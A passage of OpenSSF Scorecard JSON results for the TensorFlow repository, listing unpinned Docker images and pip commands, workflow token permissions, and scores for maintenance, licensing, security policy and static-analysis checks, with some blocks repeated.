pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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.github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: 